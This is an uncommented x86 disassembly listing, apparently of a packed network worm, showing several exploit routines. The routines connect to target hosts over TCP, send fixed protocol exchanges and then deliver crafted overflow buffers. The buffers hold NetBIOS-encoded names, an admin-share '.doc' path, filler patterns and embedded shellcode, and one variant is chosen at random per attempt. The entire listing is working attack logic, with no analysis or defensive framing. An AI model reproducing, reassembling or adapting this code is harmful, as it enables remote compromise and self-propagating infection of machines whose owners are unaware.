or dword ptr [ebp-4], 0FFFFFFFFh
push 0
call dword_4010EC ; ExitThread
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DB7 proc near ; DATA XREF: MEW:off_402BE4o
var_1B7C = byte ptr -1B7Ch
var_1A18 = byte ptr -1A18h
var_B7C = byte ptr -0B7Ch
var_A18 = byte ptr -0A18h
var_97C = byte ptr -97Ch
var_974 = dword ptr -974h
var_96C = dword ptr -96Ch
var_964 = byte ptr -964h
var_920 = byte ptr -920h
var_900 = byte ptr -900h
var_8FC = byte ptr -8FCh
var_8F8 = byte ptr -8F8h
var_8F4 = byte ptr -8F4h
var_8F0 = byte ptr -8F0h
var_898 = byte ptr -898h
var_892 = byte ptr -892h
var_88A = byte ptr -88Ah
var_886 = byte ptr -886h
var_882 = byte ptr -882h
var_87C = byte ptr -87Ch
var_818 = byte ptr -818h
var_810 = dword ptr -810h
var_808 = dword ptr -808h
var_798 = dword ptr -798h
var_794 = dword ptr -794h
var_764 = dword ptr -764h
var_760 = dword ptr -760h
var_748 = dword ptr -748h
var_68C = dword ptr -68Ch
var_4B8 = dword ptr -4B8h
var_4B0 = dword ptr -4B0h
var_4A8 = byte ptr -4A8h
var_484 = byte ptr -484h
var_478 = byte ptr -478h
var_17C = byte ptr -17Ch
var_90 = byte ptr -90h
var_86 = byte ptr -86h
var_82 = byte ptr -82h
var_4A = byte ptr -4Ah
var_46 = byte ptr -46h
var_42 = byte ptr -42h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1A18h
call sub_40ABE0
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push 2
push dword ptr [edi+8]
call sub_4096C8
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
mov [ebp+var_8], eax
jz loc_40609D
cmp eax, 1
jz loc_40609D
mov eax, [edi+4]
push 7
imul eax, 2Ch
push offset dword_402260
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp+var_A18]
push dword_40B244
push 200h
push eax
call sub_407617
add esp, 1Ch
cmp eax, esi
mov [ebp+var_4], eax
push esi
jnz short loc_405E2E
call dword_4010EC ; ExitThread
loc_405E2E: ; CODE XREF: sub_405DB7+6Fj
push esi
push esi
push 6
push 1
push 2
call dword_401200
mov [ebp+arg_0], eax
push 10h
lea eax, [ebp+var_18]
push esi
push eax
call sub_40AC10
mov ax, [edi]
add esp, 0Ch
mov [ebp+var_18], 2
push eax
call dword_401230
mov [ebp+var_16], ax
mov eax, [edi+8]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push 10h
push eax
push [ebp+arg_0]
call dword_401238
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_405E83
call dword_4010EC ; ExitThread
loc_405E83: ; CODE XREF: sub_405DB7+C4j
mov ebx, dword_401244
push 48h
push offset dword_401DE0
push [ebp+arg_0]
call ebx ; dword_401244
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_405EA1
call dword_4010EC ; ExitThread
loc_405EA1: ; CODE XREF: sub_405DB7+E2j
lea eax, [ebp+var_1A18]
push 1000h
push eax
push [ebp+arg_0]
call dword_40123C
cmp eax, 0FFFFFFFFh
jnz short loc_405EC2
push esi
call dword_4010EC ; ExitThread
loc_405EC2: ; CODE XREF: sub_405DB7+102j
mov eax, [ebp+var_4]
push 10h
add eax, 0D7h
pop ecx
cdq
idiv ecx
push 0Ch
mov edi, 0B3h
pop eax
sub eax, edx
jns short loc_405EDF
add edi, 10h
loc_405EDF: ; CODE XREF: sub_405DB7+123j
push 360h
lea eax, [ebp+var_818]
push offset dword_401E60
push eax
sub edi, edx
call sub_40AC2E
push 10h
lea eax, [ebp+var_4B8]
push offset dword_4021C4
push eax
call sub_40AC2E
push 30h
lea eax, [ebp+var_4A8]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
call sub_40AC2E
push edi
lea eax, [ebp+var_478]
push 90h
push eax
call sub_40AC10
push [ebp+var_4]
lea esi, [edi+3A0h]
lea eax, [ebp+var_A18]
push eax
lea eax, [ebp+esi+var_818]
push eax
call sub_40AC2E
add esi, [ebp+var_4]
push 3Ch
push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
lea eax, [ebp+esi+var_818]
push eax
call sub_40AC2E
add esp, 48h
add esi, 3Ch
push 30h
lea eax, [ebp+esi+var_818]
push offset dword_402218
push eax
call sub_40AC2E
mov eax, [ebp+var_8]
add esp, 0Ch
add esi, 30h
dec eax
jz short loc_405FA1
dec eax
jz short loc_405F98
dec eax
push 4
jnz short loc_405F9A
push offset dword_402254
jmp short loc_405FA8
; ---------------------------------------------------------------------------
loc_405F98: ; CODE XREF: sub_405DB7+1D3j
push 4
loc_405F9A: ; CODE XREF: sub_405DB7+1D8j
push offset dword_402250
jmp short loc_405FA8
; ---------------------------------------------------------------------------
loc_405FA1: ; CODE XREF: sub_405DB7+1D0j
push 4
push offset dword_40224C
loc_405FA8: ; CODE XREF: sub_405DB7+1DFj
; sub_405DB7+1E8j
lea eax, [ebp+var_484]
push eax
call sub_40AC2E
mov eax, [ebp+var_4]
mov ecx, [ebp+var_810]
add esp, 0Ch
lea eax, [edi+eax+30h]
xor edi, edi
push edi
push esi
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_810], ecx
mov ecx, [ebp+var_808]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_808], ecx
mov ecx, [ebp+var_798]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_798], ecx
mov ecx, [ebp+var_794]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_794], ecx
mov ecx, [ebp+var_764]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_764], ecx
mov ecx, [ebp+var_760]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_760], ecx
mov ecx, [ebp+var_748]
lea ecx, [ecx+eax-0Ch]
mov [ebp+var_748], ecx
mov ecx, [ebp+var_68C]
lea ecx, [ecx+eax-0Ch]
cdq
sub eax, edx
mov [ebp+var_68C], ecx
sar eax, 1
add [ebp+var_4B8], eax
add [ebp+var_4B0], eax
lea eax, [ebp+var_818]
push eax
push [ebp+arg_0]
call ebx ; dword_401244
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_40606B
call dword_4010EC ; ExitThread
loc_40606B: ; CODE XREF: sub_405DB7+2ACj
lea eax, [ebp+var_1A18]
push 1000h
push eax
push [ebp+arg_0]
call dword_40123C
cmp eax, 0FFFFFFFFh
jnz short loc_40608C
push edi
call dword_4010EC ; ExitThread
loc_40608C: ; CODE XREF: sub_405DB7+2CCj
push [ebp+arg_0]
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
loc_40609D: ; CODE XREF: sub_405DB7+26j
; sub_405DB7+2Fj
push esi
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
mov eax, 1B7Ch
call sub_40ABE0
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push 7
push offset dword_402260
mov eax, [edi+4]
imul eax, 2Ch
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp+var_B7C]
push dword_40B244
push 200h
push eax
call sub_407617
xor ebx, ebx
add esp, 1Ch
cmp eax, ebx
mov [ebp+var_4], eax
jnz short loc_4060FB
push ebx
call dword_4010EC ; ExitThread
loc_4060FB: ; CODE XREF: sub_405DB7+33Bj
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_40AC10
mov eax, [edi+8]
add esp, 0Ch
mov [ebp+var_10], eax
mov ax, [edi]
push 2
pop esi
push eax
mov word ptr [ebp+var_14], si
call dword_401230
push ebx
push ebx
push ebx
push 6
push 1
push esi
mov word ptr [ebp+var_14+2], ax
call dword_401200
mov edi, eax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
mov [ebp+arg_0], edi
call dword_401238
cmp eax, 0FFFFFFFFh
push ebx
jnz short loc_406151
call dword_4010EC ; ExitThread
loc_406151: ; CODE XREF: sub_405DB7+392j
push 48h
push offset dword_402268
push edi
call dword_401244
cmp eax, 0FFFFFFFFh
push ebx
jnz short loc_40616B
call dword_4010EC ; ExitThread
loc_40616B: ; CODE XREF: sub_405DB7+3ACj
lea eax, [ebp+var_1B7C]
push 1000h
push eax
push edi
call dword_40123C
cmp eax, 0FFFFFFFFh
jnz short loc_40618A
push ebx
call dword_4010EC ; ExitThread
loc_40618A: ; CODE XREF: sub_405DB7+3CAj
mov edi, 168h
loc_40618F: ; CODE XREF: sub_405DB7+3EDj
push 7Ah
push 61h
call sub_40A818
mov [ebp+ebx+var_17C], al
inc ebx
pop ecx
cmp ebx, edi
pop ecx
jl short loc_40618F
push 0Ah
lea eax, [ebp+var_90]
push offset loc_402358
push eax
call sub_40AC2E
push esi
lea eax, [ebp+var_86]
push offset loc_4023A8
push eax
call sub_40AC2E
push 4
lea eax, [ebp+var_82]
pop ebx
push ebx
push offset loc_4023A0
push eax
call sub_40AC2E
push esi
lea eax, [ebp+var_4A]
push offset loc_4023A4
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_46]
push (offset loc_40239B+1)
push eax
call sub_40AC2E
push 0Bh
lea eax, [ebp+var_42]
push offset loc_40234C
push eax
call sub_40AC2E
add esp, 48h
lea eax, [ebp+var_97C]
push 18h
push offset dword_4022B4
push eax
call sub_40AC2E
push 44h
lea eax, [ebp+var_964]
push offset dword_4022D0
push eax
call sub_40AC2E
mov esi, 90h
push 20h
lea eax, [ebp+var_920]
push esi
push eax
call sub_40AC10
push ebx
lea eax, [ebp+var_900]
push offset loc_402364
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_8FC]
push offset loc_402398
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_8F8]
push offset dword_402390
push eax
call sub_40AC2E
add esp, 48h
lea eax, [ebp+var_8F4]
push ebx
push offset loc_402394
push eax
call sub_40AC2E
push 58h
lea eax, [ebp+var_8F0]
push esi
push eax
call sub_40AC10
push 6
lea eax, [ebp+var_898]
push offset loc_40236C
push eax
call sub_40AC2E
push 8
lea eax, [ebp+var_892]
push esi
push eax
call sub_40AC10
push ebx
lea eax, [ebp+var_88A]
push offset loc_402374
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_886]
push esi
push eax
call sub_40AC10
add esp, 48h
lea eax, [ebp+var_882]
push 6
push offset loc_40237C
push eax
call sub_40AC2E
mov ebx, [ebp+var_4]
mov eax, 3E6h
sub eax, ebx
push eax
lea eax, [ebp+var_87C]
push esi
push eax
call sub_40AC10
mov esi, 4E6h
lea eax, [ebp+var_B7C]
sub esi, ebx
push ebx
push eax
lea eax, [ebp+esi+var_97C]
push eax
call sub_40AC2E
add esi, ebx
lea eax, [ebp+var_17C]
push edi
push eax
lea eax, [ebp+esi+var_97C]
push eax
call sub_40AC2E
add esi, edi
push 0Ah
push offset off_402384
lea eax, [ebp+esi+var_97C]
push eax
call sub_40AC2E
add esi, 0Ah
push 32h
push offset dword_402318
lea eax, [ebp+esi+var_97C]
push eax
call sub_40AC2E
add esi, 32h
add esp, 48h
xor edi, edi
mov [ebp+var_974], esi
lea eax, [esi-18h]
push edi
mov [ebp+var_96C], eax
lea eax, [ebp+var_97C]
push esi
push eax
push [ebp+arg_0]
call dword_401244
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_4063AA
call dword_4010EC ; ExitThread
loc_4063AA: ; CODE XREF: sub_405DB7+5EBj
lea eax, [ebp+var_1B7C]
push 1000h
push eax
push [ebp+arg_0]
call dword_40123C
cmp eax, 0FFFFFFFFh
jnz short loc_4063CB
push edi
call dword_4010EC ; ExitThread
loc_4063CB: ; CODE XREF: sub_405DB7+60Bj
push [ebp+arg_0]
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
sub_405DB7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063DC proc near ; CODE XREF: MEW:00406974p
; MEW:004069A6p ...
var_8BB0 = byte ptr -8BB0h
var_8B48 = byte ptr -8B48h
var_6AD8 = byte ptr -6AD8h
var_6A68 = byte ptr -6A68h
var_5FA4 = byte ptr -5FA4h
var_4A00 = byte ptr -4A00h
var_49FF = byte ptr -49FFh
var_3974 = byte ptr -3974h
var_2EA8 = byte ptr -2EA8h
var_2EA7 = byte ptr -2EA7h
var_2EA4 = byte ptr -2EA4h
var_26C0 = byte ptr -26C0h
var_26B0 = byte ptr -26B0h
var_238C = byte ptr -238Ch
var_2388 = byte ptr -2388h
var_237C = byte ptr -237Ch
var_20F4 = byte ptr -20F4h
var_2078 = byte ptr -2078h
var_18A8 = byte ptr -18A8h
var_13FD = byte ptr -13FDh
var_1110 = byte ptr -1110h
var_1070 = byte ptr -1070h
var_964 = dword ptr -964h
var_954 = byte ptr -954h
var_940 = byte ptr -940h
var_300 = byte ptr -300h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 8BB0h
call sub_40ABE0
mov eax, dword_4029D4
push ebx
push esi
push edi
mov [ebp+var_10], eax
mov eax, dword_4029D8
push 7
push offset dword_402260
push [ebp+arg_0]
mov [ebp+var_C], eax
mov ax, word_40B24A
push eax
lea eax, [ebp+var_300]
push dword_40B244
push 200h
push eax
call sub_407617
add esp, 1Ch
mov [ebp+var_8], eax
test eax, eax
jz loc_40681D
push [ebp+arg_C]
lea eax, [ebp+var_38]
push offset loc_4029C8
push eax
call sub_40AB94
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_FF]
loc_40644E: ; CODE XREF: sub_4063DC+82j
mov dl, [ebp+ecx+var_38]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_40644E
push 60h
lea eax, [ebp+var_B0]
push offset dword_4025C4
push eax
call sub_40AC2E
lea eax, [ebp+var_38]
push eax
call sub_40ABD2
shl eax, 1
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_40AC2E
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_40ABD2
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_40AC2E
lea eax, [ebp+var_38]
push eax
call sub_40ABD2
add al, 1Ah
push 1
shl al, 1
mov byte ptr [ebp+arg_0+3], al
lea eax, [ebp+arg_0+3]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_40AC2E
lea eax, [ebp+var_38]
push eax
call sub_40ABD2
shl al, 1
add al, 9
push 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_83]
push eax
call sub_40AC2E
mov edi, [ebp+arg_8]
add esp, 2Ch
test edi, edi
push 4
pop ebx
jz loc_4065D2
mov esi, 0DACh
lea eax, [ebp+var_2EA4]
push esi
push 90h
push eax
call sub_40AC10
lea edi, ds:4029B4h[edi*4]
push ebx
lea eax, [ebp+var_26C0]
push edi
push eax
call sub_40AC2E
push [ebp+var_8]
lea eax, [ebp+var_300]
push eax
lea eax, [ebp+var_26B0]
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_238C]
push offset loc_4029C0
push eax
call sub_40AC2E
push ebx
lea eax, [ebp+var_2388]
push edi
push eax
call sub_40AC2E
push [ebp+var_8]
lea eax, [ebp+var_300]
push eax
lea eax, [ebp+var_237C]
push eax
call sub_40AC2E
add esp, 48h
xor ecx, ecx
lea eax, [ebp+var_49FF]
loc_406588: ; CODE XREF: sub_4063DC+1BEj
mov dl, [ebp+ecx+var_2EA4]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, esi
jl short loc_406588
and [ebp+var_2EA8], 0
and [ebp+var_2EA7], 0
mov esi, 1C52h
lea eax, [ebp+var_8BB0]
push esi
push 31h
push eax
call sub_40AC10
push esi
lea eax, [ebp+var_6AD8]
push 31h
push eax
call sub_40AC10
add esp, 18h
jmp short loc_406626
; ---------------------------------------------------------------------------
loc_4065D2: ; CODE XREF: sub_4063DC+123j
push 7D0h
lea eax, [ebp+var_1110]
push 90h
push eax
call sub_40AC10
push [ebp+var_8]
lea eax, [ebp+var_300]
push eax
lea eax, [ebp+var_1070]
push eax
call sub_40AC2E
lea eax, [ebp+var_10]
push eax
call sub_40ABD2
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_954]
push eax
call sub_40AC2E
mov eax, dword_4029B4
add esp, 28h
mov [ebp+var_964], eax
loc_406626: ; CODE XREF: sub_4063DC+1F4j
push 0E29h
lea eax, [ebp+var_20F4]
push 31h
push eax
call sub_40AC10
movsx eax, byte ptr [ebp+arg_0+3]
add esp, 0Ch
add eax, ebx
mov esi, dword_401244
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_4]
call esi ; dword_401244
cmp eax, 0FFFFFFFFh
jz loc_40681D
mov edi, dword_40123C
mov ebx, 640h
push 0
lea eax, [ebp+var_940]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
push 68h
push offset dword_402628
push [ebp+arg_4]
call esi ; dword_401244
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
lea eax, [ebp+var_940]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
push 0A0h
push offset dword_402694
push [ebp+arg_4]
call esi ; dword_401244
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
lea eax, [ebp+var_940]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
cmp eax, 0FFFFFFFFh
jz loc_40681D
cmp [ebp+arg_8], 0
jz loc_4067A6
push 68h
lea eax, [ebp+var_8BB0]
push offset dword_40284C
push eax
call sub_40AC2E
lea eax, [ebp+var_4A00]
push 1B5Ah
push eax
lea eax, [ebp+var_8B48]
push eax
call sub_40AC2E
push 70h
lea eax, [ebp+var_6AD8]
push offset dword_4028B8
push eax
call sub_40AC2E
lea eax, [ebp+var_3974]
push 0A5Eh
push eax
lea eax, [ebp+var_6A68]
push eax
call sub_40AC2E
push 84h
lea eax, [ebp+var_5FA4]
push offset dword_40292C
push eax
call sub_40AC2E
add esp, 3Ch
lea eax, [ebp+var_8BB0]
push 0
push 10FCh
push eax
push [ebp+arg_4]
call esi ; dword_401244
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
lea eax, [ebp+var_940]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
cmp eax, 0FFFFFFFFh
jz loc_40681D
push 0
lea eax, [ebp+var_6AD8]
push 0FDCh
push eax
push [ebp+arg_4]
call esi ; dword_401244
jmp short loc_406818
; ---------------------------------------------------------------------------
loc_4067A6: ; CODE XREF: sub_4063DC+30Cj
push 7Ch
lea eax, [ebp+var_20F4]
push offset dword_402738
push eax
call sub_40AC2E
lea eax, [ebp+var_1110]
push 7D0h
push eax
lea eax, [ebp+var_2078]
push eax
call sub_40AC2E
push 90h
lea eax, [ebp+var_18A8]
push offset off_4027B8
push eax
call sub_40AC2E
add esp, 24h
and [ebp+var_13FD], 0
lea eax, [ebp+var_20F4]
push 0
push 0CF7h
push eax
push [ebp+arg_4]
call esi ; dword_401244
cmp eax, 0FFFFFFFFh
jz short loc_40681D
push 0
lea eax, [ebp+var_940]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
loc_406818: ; CODE XREF: sub_4063DC+3C8j
cmp eax, 0FFFFFFFFh
jnz short loc_406821
loc_40681D: ; CODE XREF: sub_4063DC+50j
; sub_4063DC+27Ej ...
xor al, al
jmp short loc_406823
; ---------------------------------------------------------------------------
loc_406821: ; CODE XREF: sub_4063DC+43Fj
mov al, 1
loc_406823: ; CODE XREF: sub_4063DC+443j
pop edi
pop esi
pop ebx
leave
retn
sub_4063DC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 650h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_40AC10
mov esi, [ebp+8]
add esp, 0Ch
mov word ptr [ebp-10h], 2
mov eax, [esi+8]
mov [ebp-0Ch], eax
mov ax, [esi]
push eax
call dword_401230
push edi
push edi
push edi
push 6
push 1
push 2
mov [ebp-0Eh], ax
call dword_401200
mov ebx, eax
lea eax, [ebp-10h]
push 10h
push eax
push ebx
call dword_401238
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_40688C
call dword_4010EC ; ExitThread
loc_40688C: ; CODE XREF: MEW:00406884j
push 89h
push offset dword_4023AC
push ebx
call dword_401244
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_4068A9
call dword_4010EC ; ExitThread
loc_4068A9: ; CODE XREF: MEW:004068A1j
lea eax, [ebp-650h]
push 640h
push eax
push ebx
call dword_40123C
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_4068C8
call dword_4010EC ; ExitThread
loc_4068C8: ; CODE XREF: MEW:004068C0j
push 0A8h
push offset dword_402438
push ebx
call dword_401244
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_4068E5
call dword_4010EC ; ExitThread
loc_4068E5: ; CODE XREF: MEW:004068DDj
lea eax, [ebp-650h]
push 640h
push eax
push ebx
call dword_40123C
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_406904
call dword_4010EC ; ExitThread
loc_406904: ; CODE XREF: MEW:004068FCj
push 0DEh
push offset dword_4024E4
push ebx
call dword_401244
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_406921
call dword_4010EC ; ExitThread
loc_406921: ; CODE XREF: MEW:00406919j
lea eax, [ebp-650h]
push 640h
push eax
push ebx
call dword_40123C
cmp eax, 0FFFFFFFFh
jnz short loc_406940
push edi
call dword_4010EC ; ExitThread
loc_406940: ; CODE XREF: MEW:00406937j
movsx eax, byte ptr [ebp-60Ch]
sub eax, 30h
jz short loc_4069C0
push dword ptr [esi+8]
dec eax
jz short loc_406992
call sub_40715A
pop ecx
push eax
call dword_4010FC ; GetTickCount
push 3
xor edx, edx
pop ecx
div ecx
mov eax, [esi+4]
imul eax, 2Ch
push edx
push ebx
push dword_402BEC[eax]
call sub_4063DC
add esp, 10h
test al, al
jz loc_406A16
push ebx
call sub_408616
pop ecx
push edi
call dword_4010EC ; ExitThread
loc_406992: ; CODE XREF: MEW:00406950j
call sub_40715A
push eax
mov eax, [esi+4]
imul eax, 2Ch
push edi
push ebx
push dword_402BEC[eax]
call sub_4063DC
add esp, 14h
test al, al
jz short loc_406A16
push ebx
call sub_408616
pop ecx
push edi
call dword_4010EC ; ExitThread
loc_4069C0: ; CODE XREF: MEW:0040694Aj
push dword ptr [esi+8]
call sub_40715A
push eax
mov eax, [esi+4]
imul eax, 2Ch
push 2
push ebx
push dword_402BEC[eax]
call sub_4063DC
add esp, 14h
test al, al
jnz short loc_406A25
push dword ptr [esi+8]
call sub_40715A
push eax
mov eax, [esi+4]
imul eax, 2Ch
push 1
push ebx
push dword_402BEC[eax]
call sub_4063DC
add esp, 14h
test al, al
jz short loc_406A16
push ebx
call sub_408616
pop ecx
push edi
call dword_4010EC ; ExitThread
loc_406A16: ; CODE XREF: MEW:0040697Ej
; MEW:004069B0j ...
push ebx
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
loc_406A25: ; CODE XREF: MEW:004069E2j
push ebx
call sub_408616
pop ecx
push edi
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
sub esp, 0A14h
push esi
mov esi, [ebp+8]
push edi
push 2
mov eax, [esi+4]
push offset asc_402AAC ; "\r"
imul eax, 2Ch
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp-0A14h]
push dword_40B244
push 200h
push eax
call sub_407617
xor edi, edi
add esp, 1Ch
cmp eax, edi
mov [ebp-4], eax
jnz short loc_406A85
push edi
call dword_4010EC ; ExitThread
loc_406A85: ; CODE XREF: MEW:00406A7Cj
push 10h
lea eax, [ebp-14h]
push edi
push eax
call sub_40AC10
mov ax, [esi]
add esp, 0Ch
mov word ptr [ebp-14h], 2
push eax
call dword_401230
push edi
push edi
push edi
mov [ebp-12h], ax
mov eax, [esi+8]
push 6
push 1
push 2
mov [ebp-10h], eax
call dword_401200
lea ecx, [ebp-14h]
push 10h
push ecx
push eax
mov [ebp+8], eax
call dword_401238
cmp eax, 0FFFFFFFFh
jnz short loc_406AD9
push edi
call dword_4010EC ; ExitThread
loc_406AD9: ; CODE XREF: MEW:00406AD0j
push ebx
mov ebx, 90h
push 800h
lea eax, [ebp-814h]
push ebx
push eax
call sub_40AC10
push 24h
lea eax, [ebp-814h]
push offset dword_4029DC
push eax
call sub_40AC2E
push 210h
lea eax, [ebp-7F0h]
push 4Dh
push eax
call sub_40AC10
push 4
lea eax, [ebp-5E0h]
pop edi
push edi
push offset aEu4 ; "\x1B4"
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5DCh]
push offset aCccc ; "CCCC"
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5D8h]
push offset loc_402A04
push eax
call sub_40AC2E
add esp, 48h
mov esi, (offset loc_402A04+4)
lea eax, [ebp-5D4h]
push edi
push esi
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5D0h]
push esi
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5CCh]
push offset a3333 ; "3333"
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5C8h]
push esi
push eax
call sub_40AC2E
push edi
lea eax, [ebp-5C4h]
push esi
push eax
call sub_40AC2E
push 58h
lea eax, [ebp-5C0h]
push 41h
push eax
call sub_40AC10
mov edi, [ebp-4]
mov eax, 200h
add esp, 48h
sub eax, edi
push eax
lea eax, [ebp-568h]
push ebx
push eax
call sub_40AC10
mov esi, 4ACh
lea eax, [ebp-0A14h]
sub esi, edi
push edi
push eax
lea eax, [ebp+esi-814h]
push eax
call sub_40AC2E
add esi, edi
push 5
push offset dword_402A8C
lea eax, [ebp+esi-814h]
push eax
call sub_40AC2E
add esp, 24h
add esi, 5
lea eax, [ebp-814h]
push 0
push esi
push eax
push dword ptr [ebp+8]
call dword_401244
cmp eax, 0FFFFFFFFh
pop ebx
jnz short loc_406C26
push 0
call dword_4010EC ; ExitThread
loc_406C26: ; CODE XREF: MEW:00406C1Cj
push dword ptr [ebp+8]
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
sub esp, 610h
push ebx
push esi
mov esi, [ebp+8]
push edi
push 6
push offset aR_0 ; "/\\r\n:"
mov eax, [esi+4]
imul eax, 2Ch
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp-610h]
push dword_40B244
push 200h
push eax
call sub_407617
mov edi, eax
xor ebx, ebx
add esp, 1Ch
cmp edi, ebx
jnz short loc_406C89
push ebx
call dword_4010EC ; ExitThread
loc_406C89: ; CODE XREF: MEW:00406C80j
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call sub_40AC10
add esp, 0Ch
mov word ptr [ebp-10h], 2
push 59Ah
call dword_401230
mov [ebp-0Eh], ax
mov eax, [esi+8]
push ebx
push 2
push 2
mov [ebp-0Ch], eax
call dword_401234
lea ecx, [ebp-10h]
push 10h
push ecx
push eax
mov [ebp+8], eax
call dword_401238
cmp eax, 0FFFFFFFFh
jnz short loc_406CDA
push ebx
call dword_4010EC ; ExitThread
loc_406CDA: ; CODE XREF: MEW:00406CD1j
push 320h
lea eax, [ebp-410h]
push 90h
push eax
call sub_40AC10
push 1
push 4
pop ebx
lea eax, [ebp-410h]
push ebx
push eax
call sub_40AC10
push 6
lea eax, [ebp-2F0h]
push offset aH888r ; "h:888"
push eax
call sub_40AC2E
push ebx
lea eax, [ebp-3AFh]
push (offset loc_402A0A+2)
push eax
call sub_40AC2E
push ebx
lea eax, [ebp-3ABh]
push offset aIiii ; "ii"
push eax
call sub_40AC2E
mov esi, (offset loc_402A0D+3)
push ebx
lea eax, [ebp-3A3h]
push esi
push eax
call sub_40AC2E
add esp, 48h
lea eax, [ebp-39Fh]
push ebx
push esi
push eax
call sub_40AC2E
push 3
lea eax, [ebp-337h]
push offset a512 ; "512"
push eax
call sub_40AC2E
mov esi, 326h
lea eax, [ebp-610h]
sub esi, edi
push edi
push eax
lea eax, [ebp+esi-410h]
push eax
call sub_40AC2E
add esp, 24h
add esi, edi
lea eax, [ebp-410h]
push 0
push esi
push eax
push dword ptr [ebp+8]
call dword_401244
cmp eax, 0FFFFFFFFh
jnz short loc_406DB1
push 0
call dword_4010EC ; ExitThread
loc_406DB1: ; CODE XREF: MEW:00406DA7j
push dword ptr [ebp+8]
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
sub esp, 610h
push ebx
push esi
mov esi, [ebp+8]
push edi
push 6
push offset aR_0 ; "/\\r\n:"
mov eax, [esi+4]
imul eax, 2Ch
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp-210h]
push dword_40B244
push 200h
push eax
call sub_407617
mov ebx, eax
xor edi, edi
add esp, 1Ch
cmp ebx, edi
jnz short loc_406E14
push edi
call dword_4010EC ; ExitThread
loc_406E14: ; CODE XREF: MEW:00406E0Bj
push 10h
lea eax, [ebp-10h]
push edi
push eax
